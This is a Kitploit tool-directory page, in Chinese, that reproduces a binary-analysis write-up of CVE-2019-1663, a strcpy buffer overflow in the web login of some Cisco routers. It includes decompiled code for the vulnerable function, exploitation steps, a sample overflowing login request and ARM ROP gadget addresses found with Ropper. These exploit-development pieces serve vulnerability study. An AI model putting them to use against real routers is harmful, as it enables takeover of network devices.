Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-1663-Binary-Analysis — CVE-2019-1663 的二进制分析和漏洞利用,这是 Cisco 路由器 Web 管理中的缓冲区溢出,包括根本原因、漏洞利用步骤和 ROP gadget 发现。 | Kitploit
工具/GitHubGitHub/wolffcorentin/cve-2019-1663-binary-analysis
嵌入式系统安全漏洞分析漏洞利用逆向工程二进制分析论文与研究学习与教育二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
wolffcorentin/cve-2019-1663-binary-analysis

CVE-2019-1663-Binary-Analysis

CVE-2019-1663 的二进制分析和漏洞利用,这是 Cisco 路由器 Web 管理中的缓冲区溢出,包括根本原因、漏洞利用步骤和 ROP gadget 发现。

查看仓库
21年前尚未审核

CVE-2019-1663 二进制分析

作者: Corentin Wolff


漏洞起源

漏洞来源

该漏洞源于函数 0x0002BF64,它错误地使用了 strcpy 函数,使其容易遭受缓冲区溢出攻击。为清晰起见,此函数已重命名为 Login。以下代码片段说明了问题:

root@kitploit:~
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }

在此片段中,strcpy 函数被不当使用,导致了缓冲区溢出漏洞:

root@kitploit:~
if (param_4 == 0) {  
    iVar2 = strncmp(acStack_fa, "enc=", 4);  
    if (iVar2 != 0) {  
        strcpy(acStack_15e, acStack_fa);  
        strcpy(acStack_1c2, param_2);  
        goto LAB_0002c264;  
    }  
}

用户名识别

代码的此部分检查用户名:

root@kitploit:~
if (iVar2 != 0) {  
    syslog(6, "Web management login failed, user=%s\n", param_1);  
}

参数 param_1 被识别为用户名字段。

密码验证

类似地,param_2 对应密码,而 param_3 被识别为 httpd_user。

登录标志

变量 login_flag 表示连接状态:

root@kitploit:~
0 → 登录错误
1 → 管理员登录成功
2 → 管理员登录因现有会话被拒绝
3 → 管理员登录强制登出

漏洞类型

缓冲区溢出与 strcpy

该漏洞是由错误使用 strcpy 函数导致的缓冲区溢出。

strcpy 的缺陷

strcpy 函数不检查源字符串的大小是否超过目标缓冲区的容量。 这允许覆盖相邻的内存区域。

利用背景

CVE-2019-1663 利用了某些 Cisco 路由器型号在输入大小验证方面的缺失。

利用步骤

root@kitploit:~
a. 无长度检查:未经净化的用户输入被传递给 strcpy。
b. 内存溢出:过量数据覆盖关键内存区域。
c. 任意代码执行:攻击者注入并执行恶意代码。
d. 利用条件:能够访问路由器的 Web 配置服务器。
e. 影响:获得特权访问,从而实现网络间谍、流量重定向、恶意软件安装或后门植入。

漏洞的远程利用

  1. 远程利用的条件 利用需要能够访问路由器的 Web 配置服务器。如果服务器未暴露在广域网中,则利用仅限于局域网访问。
  2. 攻击过程 一旦获得访问权限,攻击者拦截并修改一个请求,追加恶意载荷,例如:
    root@kitploit:~
    &enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN  
    
    这将触发段错误。通过确定最佳缓冲区大小,攻击者可以注入并执行恶意代码。

利用 | 小工具:Ropper

root@kitploit:~
libc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}

(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0

(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;

参考文献

  1. MITRE CWE-120:未检查输入大小的缓冲区拷贝
    https://cwe.mitre.org/data/definitions/120.html

  2. MITRE CWE-787:越界写入
    https://cwe.mitre.org/data/definitions/787.html

  3. OWASP 缓冲区溢出概述
    https://owasp.org/www-community/vulnerabilities/Buffer_Overflow

  4. Microsoft Learn 上的“缓冲区溢出”
    https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp

  5. CERT 安全编码标准 - STR31-C
    https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator

  6. 利用 CVE-2019-1663 - Quentin Kaiser 的解析文章
    https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663

下载工具